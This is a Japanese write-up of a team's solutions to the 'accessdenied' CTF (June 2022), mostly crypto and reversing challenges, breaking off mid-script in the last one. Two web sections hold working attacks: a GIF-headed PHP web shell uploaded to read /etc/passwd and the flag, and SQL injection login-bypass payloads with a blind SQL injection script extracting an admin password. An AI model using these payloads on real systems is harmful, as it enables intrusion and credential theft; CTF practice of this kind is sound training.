この大会は2022/6/10 19:30(JST)~2022/6/12 19:30(JST)に開催されました。
今回もチームで参戦。結果は23004点で391チーム中5位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
accessdenied{pl4y_f41r_h4v3_fUn_05cfebe1}
RSA-1(Crypto)
RSA暗号で、p, q, e, cがわかっているので、通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * p = 10428615258416108003372202871855627713663325599674460924186517713082197448534315449595394752587304354394402047262801959990727856908043138185588365886987557 q = 8849030739304056868757301096931487921973840186794195322071503751716059434197468028088264340322992996182734000877348221433845302801843370163430108727308579 e = 65537 cipher_text = 84826403344972753121997388456739256614537789930909176473018827332005543366933391914385410712984001888365906754988120732970328825657318675360778107518188000885732104031648548997976916964730682864696944786364581243443475767387970255510475855029059715864139791778210784283726274424510221073880200865856769716576 n = p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(cipher_text, d, n) flag = long_to_bytes(m).decode() print(flag)
accessdenied{RSA_1S_4M4Z1nG_R1GhT????_2a5286af}
Shark-1 (Misc)
TCP Streamを見てみる。
give me the xor key xor key 80 Here is the flag: 4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q== Thank you got it
base64文字列をデコードしたものをXOR鍵0x80で復号する。
#!/usr/bin/env python3 from base64 import * key = 0x80 enc_flag = '4ePj5fPz5OXu6eXk+/ex8rPz6LTy69/is/P03+aw8t/wtOPrs/Tf8+6x5uax7uffuebjs7i0seKx/Q==' enc_flag = b64decode(enc_flag) flag = '' for c in enc_flag: flag += chr(c ^ key) print(flag)
accessdenied{w1r3sh4rk_b3st_f0r_p4ck3t_sn1ff1ng_9fc3841b1}
RSA-2 (Crypto)
yafuでNを素因数分解する。
>yafu-x64.exe "factor(264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187)" -v -threads 4 06/10/22 22:19:57 v1.34.5 @ RINA-TAKUMI, System/Build Info: Using GMP-ECM 6.3, Powered by GMP 5.1.1 detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes measured cpu frequency ~= 2907.560660 using 20 random witnesses for Rabin-Miller PRP checks =============================================================== ======= Welcome to YAFU (Yet Another Factoring Utility) ======= ======= bbuhrow@gmail.com ======= ======= Type help at any time, or quit to quit ======= =============================================================== cached 78498 primes. pmax = 999983 >> fac: factoring 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187 fac: using pretesting plan: normal fac: no tune info: using qs/gnfs crossover of 95 digits div: primes less than 10000 fmt: 1000000 iterations rho: x^2 + 3, starting 1000 iterations on C174 rho: x^2 + 2, starting 1000 iterations on C174 rho: x^2 + 1, starting 1000 iterations on C174 pm1: starting B1 = 150K, B2 = gmp-ecm default on C174 fac: setting target pretesting digits to 53.54 fac: sum of completed work is t0.00 fac: work done at B1=2000: 0 curves, max work = 30 curves fac: 30 more curves at B1=2000 needed to get to t53.54 ecm: 30/30 curves on C174, B1=2K, B2=gmp-ecm default fac: setting target pretesting digits to 53.54 fac: t15: 1.00 fac: t20: 0.04 fac: sum of completed work is t15.18 fac: work done at B1=11000: 0 curves, max work = 74 curves fac: 74 more curves at B1=11000 needed to get to t53.54 ecm: 16/74 curves on C174, B1=11K, B2=gmp-ecm default ecm: found prp20 factor = 22788121468146346999 fac: setting target pretesting digits to 47.69 fac: t15: 2.42 fac: t20: 0.27 fac: t25: 0.01 fac: sum of completed work is t16.33 fac: work done at B1=11000: 17 curves, max work = 74 curves fac: 57 more curves at B1=11000 needed to get to t47.69 Total factoring time = 1.4154 seconds ***factors found*** P20 = 22788121468146346999 P155 = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813 ans = 1
あとはこのまま通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * N = 264057768287532610924734156161085846111271356228103155462076871372364307056741048144764594645062879781647063846971890031256799636109911752078600428566502298518944558664381187 e = 65537 ct = 175347248748800717331910762241898102719683222504200516534883687111045877096093372005991552193144558951747833811929393668749668731738201985792026669764642235225240342271148171 p = 22788121468146346999 q = 11587518025855592759726630124584244020238845252808598255278658263482784394605886754984976163579618331619323699778956049111427022474635415206131197278729813 assert N == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(ct, d, N) flag = long_to_bytes(m).decode() print(flag)
accessdenied{alw4y5_try_t0_f4ct0r1z3_n_9ba93547}
Safe Upload (Web)
phpをアップロードしようとしたら、以下のメッセージが表示された。
Files of type JPEG, GIF, PNG are allowed
いろいろ試したところ、拡張子をみているわけではなさそう。
$ cat exploit.php GIF89a; <? system($_GET['cmd']); ?> $ file exploit.php exploit.php: GIF image data, version 89a, 3387 x 15370
exploit.phpをアップロードすると、以下のメッセージが表示された。
The file 1d447a819cf22de03db7ac6608cf6da4.php has been uploaded
http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=pwdにアクセスする。
GIF89a; /var/www/html/uploads
http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -lにアクセスする。
GIF89a; total 84 -rw-r--r-- 1 www-data www-data 63 Jun 11 03:57 18f638955c01b113b40b2f7c031348bc.php -rw-r--r-- 1 www-data www-data 38 Jun 11 03:55 1d447a819cf22de03db7ac6608cf6da4.php -rw-r--r-- 1 www-data www-data 61116 Jun 11 03:56 251b5bd771b819bac71422a492cdb17c.jpg -rw-r--r-- 1 www-data www-data 24 Jun 11 03:56 4af446b0b8cf2e65502c3d6bbf6384d4.<script>eval(atob('ywxlcnqozg9jdw1lbnquy29va2llkq='))<script> -rw-r--r-- 1 www-data www-data 24 Jun 11 03:56 63585f4bb3a216a61193a051e1c17cdb.<script>eval(atob( -rw-r--r-- 1 www-data www-data 63 Jun 11 03:55 65229de98107d1032aa9e310d64ce4e4.php -rw-r--r-- 1 www-data www-data 24 Jun 11 03:55 de2c32b7d55f2ed1b0d580ffa7f1586a.script>
http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /etc/passwdにアクセスする。
GIF89a; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=ls -l /にアクセスする。
GIF89a; total 80 drwxr-xr-x 1 root root 4096 Jun 9 16:31 app drwxr-xr-x 1 root root 4096 Dec 11 2020 bin drwxr-xr-x 2 root root 4096 Nov 22 2020 boot drwxr-xr-x 5 root root 340 Jun 9 16:33 dev drwxr-xr-x 1 root root 4096 Jun 9 16:33 etc -rwxr-xr-x 1 root root 44 Jun 10 05:31 flag.txt drwxr-xr-x 2 root root 4096 Nov 22 2020 home drwxr-xr-x 1 root root 4096 Dec 11 2020 lib drwxr-xr-x 2 root root 4096 Dec 9 2020 lib64 drwxr-xr-x 2 root root 4096 Dec 9 2020 media drwxr-xr-x 2 root root 4096 Dec 9 2020 mnt drwxr-xr-x 2 root root 4096 Dec 9 2020 opt dr-xr-xr-x 186 root root 0 Jun 9 16:33 proc drwx------ 1 root root 4096 Jun 9 16:56 root drwxr-xr-x 1 root root 4096 Dec 11 2020 run drwxr-xr-x 1 root root 4096 Dec 11 2020 sbin drwxr-xr-x 2 root root 4096 Dec 9 2020 srv dr-xr-xr-x 13 root root 0 Jun 9 16:33 sys drwxrwxrwt 1 root root 4096 Jun 11 04:00 tmp drwxr-xr-x 1 root root 4096 Dec 9 2020 usr drwxr-xr-x 1 root root 4096 Dec 11 2020 var
flag.txtがあった。http://35.202.229.119/uploads/1d447a819cf22de03db7ac6608cf6da4.php?cmd=cat /flag.txtにアクセスする。
GIF89a; accessdenied{php_bu7_n07_php_f1l3_74a148ef}
accessdenied{php_bu7_n07_php_f1l3_74a148ef}
babyc (Rev)
reverse関数は8bitのビット配列を逆順にする。その後23とのXORをしたものがflag配列になっている。このことから逆算して、flagを求める。
#!/usr/bin/env python3 enc_flag = [-111, -47, -47, -79, -39, -39, 49, -79, 97, -127, -79, 49, -55, 9, 27, 89, -19, 59, 97, 49, -19, 89, -37, 121, -37, 89, -69, -37, -19, -111, 89, -37, -19, 113, -71, 97, -19, -101, 49, 49, 11, 91, -69, 11, -79, -87] key = 23 flag = '' for c in enc_flag: b = bin((c % 256) ^ key)[2:].zfill(8)[::-1] flag += chr(int(b, 2)) print(flag)
accessdenied{x0r_4nd_r3v3r53_ar3_fun_1dd8258e}
Small key (Crypto)
XOR鍵は8バイト。フラグは"accessde"から始まることを前提に復号する。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor flag_enc = '763d32726973a23f79373473616ba86a60300e677634f734482a626f6e5ff22e636a327c2f5ff228240123242e6caa23483d6127765fff6d743a61212f38bb' flag_enc = bytes.fromhex(flag_enc) flag_head = b'accessde' key = strxor(flag_head, flag_enc[:8]) flag = '' for i in range(len(flag_enc)): flag += chr(flag_enc[i] ^ key[i % len(key)]) print(flag)
accessdenied{kn0wn_pl41n_t3xt_4tt4ck5_4r3_r34lly_c00l_97cd0658}
PORTAL DE LOGIN (Web)
以下でログインできるが、特に何も表示されない。
USERNAME: admin' -- - PASSWORD: a
以下でもログインできる。
USERNAME: ' union select 1,2,3 -- - PASSWORD: a
以下でもログインできる。
USERNAME: ' union select id, username, password from users -- - PASSWORD: a
adminのパスワードをBlind SQL Injectionで割り出す。
#!/usr/bin/env python3 import requests url = 'http://35.188.63.150/' passlen = -1 for i in range(1, 65): data = {"username": "admin' and (SELECT length(password) FROM users " + "WHERE username = 'admin') = " + str(i) + "-- -", "password": "a"} r = requests.post(url, data=data) if 'Login Sucess' in r.text: passlen = i break print('[+] Password Length is:', passlen) flag = '' for i in range(1, passlen + 1): for code in range(33, 127): data = {"username": "admin' and substr((SELECT password FROM users " + "WHERE username = 'admin')," + str(i) + ",1) = '" + chr(code) + "' -- -", "password": "a"} r = requests.post(url, data=data) if 'Login Sucess' in r.text: flag += chr(code) break print('[+] flag:', flag) print('[*] flag:', flag)
実行結果は以下の通り。
[+] Password Length is: 47 [+] flag: A [+] flag: AC [+] flag: ACC [+] flag: ACCE [+] flag: ACCES [+] flag: ACCESS [+] flag: ACCESSD [+] flag: ACCESSDE [+] flag: ACCESSDEN [+] flag: ACCESSDENI [+] flag: ACCESSDENIE [+] flag: ACCESSDENIED [+] flag: ACCESSDENIED{ [+] flag: ACCESSDENIED{B [+] flag: ACCESSDENIED{BL [+] flag: ACCESSDENIED{BL1 [+] flag: ACCESSDENIED{BL1N [+] flag: ACCESSDENIED{BL1ND [+] flag: ACCESSDENIED{BL1ND_ [+] flag: ACCESSDENIED{BL1ND_B [+] flag: ACCESSDENIED{BL1ND_BL [+] flag: ACCESSDENIED{BL1ND_BL1 [+] flag: ACCESSDENIED{BL1ND_BL1N [+] flag: ACCESSDENIED{BL1ND_BL1ND [+] flag: ACCESSDENIED{BL1ND_BL1NDD [+] flag: ACCESSDENIED{BL1ND_BL1NDD_ [+] flag: ACCESSDENIED{BL1ND_BL1NDD_B [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BL [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLI [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIN [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLIND [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDD [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_ [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_S [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQ [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_ [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5 [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5F [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2 [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2D [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB7 [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70 [+] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70} [*] flag: ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}
このフラグで通らないので、小文字にしてみる。
>>> 'ACCESSDENIED{BL1ND_BL1NDD_BLINDDD_SQL_5FE2DB70}'.lower() 'accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}'
accessdenied{bl1nd_bl1ndd_blinddd_sql_5fe2db70}
sifers (Crypto)
1行ずつ異なる方式でエンコード、暗号化されている。
・1行目:0ujyfwa87u →シーザー暗号と推測。ただし数字とアルファベットをシフトする。 →シフト:-7 →3ncrypt10n★ ・2行目:M25jMGQxbmc= →base64デコード $ echo M25jMGQxbmc= | base64 -d 3nc0d1ng★ ・3行目:GRXGI=== →base32デコード >>> b32decode('GRXGI===') b'4nd'★ ・4行目:2eac7797ba995850a0372814e2a7ba87 →md5と推測し、https://crackstation.net/でクラック →h4sh1ng★ ・5行目:00110100 01101100 01101100 →2進数 >>> codes = '00110100 01101100 01101100'.split(' ') >>> ''.join([chr(int(code, 2)) for code in codes]) '4ll'★ ・6行目:64 162 63 →8進数 >>> ''.join([chr(int(code, 8)) for code in codes]) '4r3'★ ・7行目:q4ss6e6ag →アルファベットは-13シフト、数字は-3シフト →d1ff3r3nt★ ・8行目:65 62 32 35 64 38 62 37 →16進数 >>> codes = '65 62 32 35 64 38 62 37'.split(' ') >>> ''.join([chr(int(code, 16)) for code in codes]) 'eb25d8b7'★
問題文には書かれていないが、他の問題と同様のフラグの形式と考え、accessdenied{xxx_yyy_zzz}のような形式に構成する。
accessdenied{3ncrypt10n_3nc0d1ng_4nd_h4sh1ng_4ll_4r3_d1ff3r3nt_eb25d8b7}
reused key (Crypto)
同じ鍵でフラグとあるテキストがXOR暗号化されている。https://github.com/SpiderLabs/cribdragのツール(Python2)を使って、推測しながら復号する。
まず2つの暗号をXORする。
$ python xorstrings.py 65f32f851cdb20eee875eea5a9a30f826cfd247eb550dcc89d1d4cdf952f5c28ca5f162355567fd262bb96 70f8259330c137d4e873ff9ea6a559ab2dea1a60d943859aa545578395301d28a0741d1e065a24d45cb19f 150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09
推測しながら復号する。
$ python cribdrag.py 150b0a162c1a173a0006113b0f06562941173e1e6c13595238581b5c001f41006a2b0b3d530c5b063e0a09 Your message is currently: 0 ________________________________________ 40 ___ Your key is currently: 0 ________________________________________ 40 ___ Please enter your crib: accessdenied{ 0: "this_is_not_t" 1: "jiuIid^ehx^k}" 2: "kuOdIdcRjb-" *** 3: "wOyrIsbtUfc2R" 4: "Myt_suu^ao3M:" 5: "{tYeub_jh?L%l" 6: "vYccbHkc8@$sE" 7: "[cetH|b3G(rZe" 8: "aer^|u2L/~[z" 9: "grXju%M$yWh" 10: "pXlc%Z%rPw w"" 11: "Zle3Z2s[pv=)" 12: "ne5L2dZ{z<6C" 13: "g5J$dMz }07\#" 14: "7J"rMv7;]<`" 15: "H"t[mw<<Q='" 16: " t]{`=7V1~8{" 17: "v]} `*6]6r9dd" 18: "_}v*!\=u5e{:" 19: "p<!K<~2iz%{" p:7K+9nv$d" 21: "r:1]+h8eq(eP" 22: "81[=h/dz/iOp" 23: "3[;~/s{$nNoF" 24: "Y;x9sl%eBnY(" 25: "9x?el2dEbX7w" 26: "z?cz2sNeT6h " 27: "=c|$sOnS:i?}" 28: "a|"eXoX=e>bE" 29: "~"cXxY6b2cZq" 30: " c NxN7i5o[nr" Enter the correct position, 'none' for no match, or 'end' to quit: 0 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 accessdenied{___________________________ 40 ___ Your key is currently: 0 this_is_not_t___________________________ 40 ___ Please enter your crib: the_ *** 0: "acoI" 1: "bss" 2: "~~IE" 3: "bDH" *** 4: "Xrre" 5: "n__" *** 6: "cReY" *** 7: "NhcN" *** 8: "tntd" 9: "ry^P" *** 10: "eSjY" 11: "Ogc " 12: "{n3v" 13: "r>L" 14: ""A$H" 15: "])ra" 16: "5[A" 17: "cV{3" 18: "Jv L" 19: "jv" "0: "{< *** 21: "g17g" 22: "-:]" 23: "&P=D" 24: "L0~" 25: ",s9_" 26: "o4e@" 27: "(hz" 28: "tw$_" 29: "k)e5" 30: "5ht" 31: "tNT" 32: "Cnb" 33: "_cX " 34: "U6S" 35: "I;i" 36: "'d>Y" *** 37: "x3ca" 38: "/n[U" *** 39: "rVoV" Enter the correct position, 'none' for no match, or 'end' to quit: 12 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 accessdenied{n3v________________________ 40 ___ Your key is currently: 0 this_is_not_the_________________________ 40 ___ Please enter your crib: 3r_ 0: "&yU" *** 1: "8xI" *** 2: "9ds" 3: "%^E" 4: "hH" 5: ")ee" 6: "$H_" 7: " rY" *** 8: "3tN" *** 9: "5cd" *** 10: ""IP" 11: }Y" 12: "<t " 13: "5$v" 14: "e[" 15: "3H" *** 16: "rea" 17: "$LA" l3" " 19: "-L" 20: "_a" "1: " + *** 22: "j g" 23: "aJ" 24: " *D" 25: "ki" 26: "(._" 27: "or@" 28: "3m" 29: ",3_" *** 30: "rr5" 31: "3t" *** 32: "YYT" 33: "yb" 34: "8O " 35: "!S" 36: "`~" 37: "?)Y" *** 38: "hta" *** 39: "5LU" xV" " Enter the correct position, 'none' for no match, or 'end' to quit: 16 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 accessdenied{n3v3r______________________ 40 ___ Your key is currently: 0 this_is_not_the_rea_____________________ 40 ___ Please enter your crib: l_ *** 0: "yT" *** 1: "gU" *** 2: "fI" *** 3: "zs" 4: "@E" *** 5: "vH" 6: "{e" 7: "V_" *** 8: "lY" *** 9: "jN" 10: "}d" *** 11: "WP" *** 12: "cY" 13: "j " *** 14: ":v" 15: "E" 16: "-H" 17: "{a" *** 18: "RA" *** 19: "r3" 20: "L" 21: "" "2: "5 23: ">g" 24: "T" *** 25: "4D" 26: "w" 27: "0_" 28: "l@" 29: "s" 30: "-_" *** 31: "l5" 32: "t" *** 33: "GT" *** 34: "gb" 35: "Q " *** 36: "?S" 37: "`" *** 38: "7Y" *** 39: "ja" *** 40: "RU" *** 41: "fV" Enter the correct position, 'none' for no match, or 'end' to quit: 19 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 accessdenied{n3v3r_r3___________________ 40 ___ Your key is currently: 0 this_is_not_the_real____________________ 40 ___ Please enter your crib: u53_ 0: "`>9I" 1: "~?%s" 2: "#E" 3: "c)H" 4: "Y/$e" 5: "o" _" 6: "b3Y" *** 7: "O55N" *** 8: "u3"d" 9: "sP" 10: "d<Y" 11: "N:5 " *** 12: "z3ev" 13: "sc" 14: "#rH" 15: "\t$a" A": "4" 17: "b -3" 18: "K+_L" 19: "kY " "0: "&j *** 21: "flag" 22: ",g " kD" "' 24: "Mm(" 25: "-.o_" 26: "ni3@" 27: ")5," 28: "u*r_" *** 29: "jt35" *** 30: "45Yt" 31: "u_T" 32: "8b" 33: "^> " 34: "`S" 35: "Hf?" 36: "&9hY" *** 37: "yn5a" U": ".3 39: "s 9V" Enter the correct position, 'none' for no match, or 'end' to quit: 21 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 accessdenied{n3v3r_r3u53________________ 40 ___ Your key is currently: 0 this_is_not_the_real_flag_______________ 40 ___ Please enter your crib: th3_k3y5_ 0: "ac9IG)n_" 1: "b%sq$C5Y" 2: "~~E| y3N" 3: "bD)HQ3$d" 4: "Xr$ek5hP" 5: "n _m"B:Y" 6: "cR3Yv3 " 7: "Nh5NP<cv" 8: "tn"dd5/" 9: "rPmePtH" 10: "eS<Y=8"a" 11: "Og5 Brn A" 12: "{nev*$G+3" gYL""r>| 14: ""ArHU-&" "5: "])$au_jl A gg" "7: "cV-3xj+ 18: "Jv_L2aAmD" 19: "j 9 !." Skbi_"{j 21: "g1ag3(%5@" 22: "-: poy*" 23: "&PkD73ft_" 24: "L0(k,855" 25: ",so_try_t" 26: "o43@*3T" 27: "(h,kYR>b" 28: "twr_r " 29: "k)35@8DfS" 30: "5hYt`*9" 31: "tTV`unY" 32: "C8b8?"3a" 33: "_c gh U" 34: "U`S05G?V" Enter the correct position, 'none' for no match, or 'end' to quit: 25 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 accessdenied{n3v3r_r3u53_th3_k3y5_______ 40 ___ Your key is currently: 0 this_is_not_the_real_flag,so_try_t______ 40 ___ Please enter your crib: to_ *** 0: "adU" 1: "eI" 2: "~ys" *** 3: "bCE" *** 4: "XuH" *** 5: "nxe" 6: "cU_" *** 7: "NoY" *** 8: "tiN" 9: "r~d" *** 10: "eTP" 11: "O`Y" 12: "{i " *** 13: "r9v" 14: ""F" 15: "].H" *** 16: "5xa" *** 17: "cQA" *** 18: "Jq3" 19: "jL" 20: "|" "1: "g6 22: "-=g" 23: "&W" *** 24: "L7D" 25: ",t" 26: "o3_" 27: "(o@" 28: "tp" 29: "k._" *** 30: "5o5" 31: "tt" 32: "DT" 33: "_db" 34: "R " 35: "I<S" 36: "'c" *** 37: "x4Y" 38: "/ia" *** 39: "rQU" *** 40: "JeV" Enter the correct position, 'none' for no match, or 'end' to quit: 33 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 accessdenied{n3v3r_r3u53_th3_k3y5_db____ 40 ___ Your key is currently: 0 this_is_not_the_real_flag,so_try_to_____ 40 ___ Please enter your crib: } *** 0: "h" *** 1: "v" *** 2: "w" *** 3: "k" *** 4: "Q" *** 5: "g" *** 6: "j" *** 7: "G" 8: "}" 9: "{" *** 10: "l" *** 11: "F" *** 12: "r" 13: "{" 14: "+" *** 15: "T" 16: "<" *** 17: "j" *** 18: "C" *** 19: "c" 20: "" *** 21: "n" 22: "$" 23: "/" *** 24: "E" 25: "%" *** 26: "f" *** 27: "!" 28: "}" *** 29: "b" 30: "<" 31: "}" 32: "" *** 33: "V" *** 34: "v" 35: "@" *** 36: "." *** 37: "q" 38: "&" 39: "{" *** 40: "C" *** 41: "w" *** 42: "t" Enter the correct position, 'none' for no match, or 'end' to quit: 42 Is this crib part of the message or key? Please enter 'message' or 'key': message Your message is currently: 0 accessdenied{n3v3r_r3u53_th3_k3y5_db____ 40 __} Your key is currently: 0 this_is_not_the_real_flag,so_try_to_____ 40 __t Please enter your crib: find_ *** 0: "sbdrs" *** 1: "mcxHE" 2: "lB~H" *** 3: "pEtse" 4: "Jsy^_" 5: "|~TdY" *** 6: "qSnbN" 7: "\ihud" 8: "fo_P" 9: "`xUkY" 10: "wRab " 11: "]fh2v" 12: "io8M" 13: "`?G%H" 14: "0@/sa" 15: "O(yZA" 16: "'~Pz3" 17: "qWL" 18: "Xww" "9: "x}= 20: " z76g" 21: "u0<\" 22: "?;V<D" 23: "4Q6" 24: "^1u8_" 25: ">r2d@" 26: "}5n{" 27: ":iq%_" 28: "fv/d5" 29: "y(nt" 30: "'iOT" 31: "fEob" 32: " BeY " *** 33: "MbS7S" 34: "mT=h" 35: "[:b?Y" *** 36: "5e5ba" *** 37: "j2hZU" 38: "=oPnV" Enter the correct position, 'none' for no match, or 'end' to quit: 36 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b 40 a_} Your key is currently: 0 this_is_not_the_real_flag,so_try_to_find 40 __t Please enter your crib: it 0: "|" 1: "b~" *** 2: "cb" 3: "X" *** 4: "En" *** 5: "sc" 6: "~N" *** 7: "St" *** 8: "ir" *** 9: "oe" *** 10: "xO" 11: "R{" *** 12: "fr" *** 13: "o"" 14: "?]" 15: "@5" 16: "(c" 17: "~J" *** 18: "Wj" 19: "w" 20: "g" 21: "z-" 22: "0&" *** 23: ";L" *** 24: "Q," *** 25: "1o" 26: "r(" *** 27: "5t" *** 28: "ik" *** 29: "v5" 30: "(t" 31: "i" 32: "_" 33: "B" *** 34: "bI" *** 35: "T'" *** 36: ":x" 37: "e/" *** 38: "2r" *** 39: "oJ" 40: "W~" 41: "c}" Enter the correct position, 'none' for no match, or 'end' to quit: 41 Is this crib part of the message or key? Please enter 'message' or 'key': key Your message is currently: 0 accessdenied{n3v3r_r3u53_th3_k3y5_db5e5b 40 ac} Your key is currently: 0 this_is_not_the_real_flag,so_try_to_find 40 _it Please enter your crib:
accessdenied{n3v3r_r3u53_th3_k3y5_db5e5bac}
MITM-2 (Crypto)
それぞれサーバの処理概要は以下の通り。
【Alice】 ・msg = b"here_is_my_code!" ・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ] ※md5(os.urandom(3)).digest()で生成 ・private_key: Aliceの秘密鍵 ・public_key: pow(g, private_key, p) →表示 ・key: 自分の公開鍵を入力(0, 1, p-1はNG) ・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest() ・keysにaes_keyを追加 ・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16) ・m: msgをパディング(ランダム文字列をパディング) ・ciphers: [AES-ECB(keys[0]), AES-CBC(keys[1], iv=b"A"*16), AES-CBC(keys[2], iv=b"b"*16)] ・c = m ・ciphersの各要素でmを順に重ねて暗号化 ・encrypted_flag = encrypt(flag[:32], keys, b"A"*16, b"B"*16) ・encrypted_msg、encrypted_flag 表示 【Bob】 ・keys = [ b'XXXXXXXXXXXXXXXX', b'XXXXXXXXXXXXXXXX' ] ※md5(os.urandom(3)).digest()で生成 ・msg = b"thank_you_here_is_remaining_part" ・private_key: Bobの秘密鍵 ・public_key: pow(g, private_key, p) →表示 ・key: 自分の公開鍵を入力(0, 1, p-1はNG) ・aes_key = md5(unhexlify(hex(pow(key, private_key, p))[2:])).digest() ・keysにaes_keyを追加 ・code: 入力 ・decrypted_code = decrypt(unhexlify(code), keys, b"A"*16, b"B"*16) ・decrypted_code[:32] と flag[:32]が一致していたら、以下を実行 ・encrypted_msg = encrypt(msg, keys, b"A"*16, b"B"*16) ・encrypted_flag = encrypt(flag[32:], keys, b"A"*16, b"B"*16) ・encrypted_msg、encrypted_flag 表示
まずAlice側のmsgの暗号化の結果からブルートフォースで鍵を割り出す。msgのkeys[0]によるAES-ECB暗号化と、encrypted_msgのaes_keyで復号したもののkeys[1]によるAES-CBC復号が同じになるものを探す。なお、keyにgの値を指定すれば、以下が成り立つので、aes_keyを算出することができる。
aes_key = md5(unhexlify(hex(public_key)[2:])).digest()
鍵を割り出せば、flag[:32]を復号することができる。
次にBob側でもkeys[0]、keys[1]が同じ値と仮定して進める。keyにgの値を指定することにより、Bob側のaes_keyを算出する。Alice側のencrypted_flagの先頭32バイトをAlice側のaes_keyで復号し、Bob側のaes_keyで暗号化しなおすことによって、Bob側のencrypted_flagを入手する。あとは、key[0]~key[2]がわかっているので、復号すれば、flag[32:]になる。
#!/usr/bin/env python3 from Crypto.Cipher import AES from binascii import hexlify, unhexlify from hashlib import md5 from itertools import product import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) msg = b'here_is_my_code!' g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366973332463469104730271236078593527144954324116802080620822212777139186990364810367977 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('34.123.4.102', 4000)) data = recvuntil(s, b'\n').rstrip() print(data) public_key = int(data.split(' ')[-1]) data = recvuntil(s, b': ') print(data + str(g)) s.sendall(str(g).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) encrypted_msg = unhexlify(eval(data.split(' ')[-2]))[:16] encrypted_flag = unhexlify(eval(data.split(' ')[-1]))[:32] aes_key_alice = md5(unhexlify(hex(public_key)[2:])).digest() cipher2 = AES.new(aes_key_alice, mode=AES.MODE_CBC, 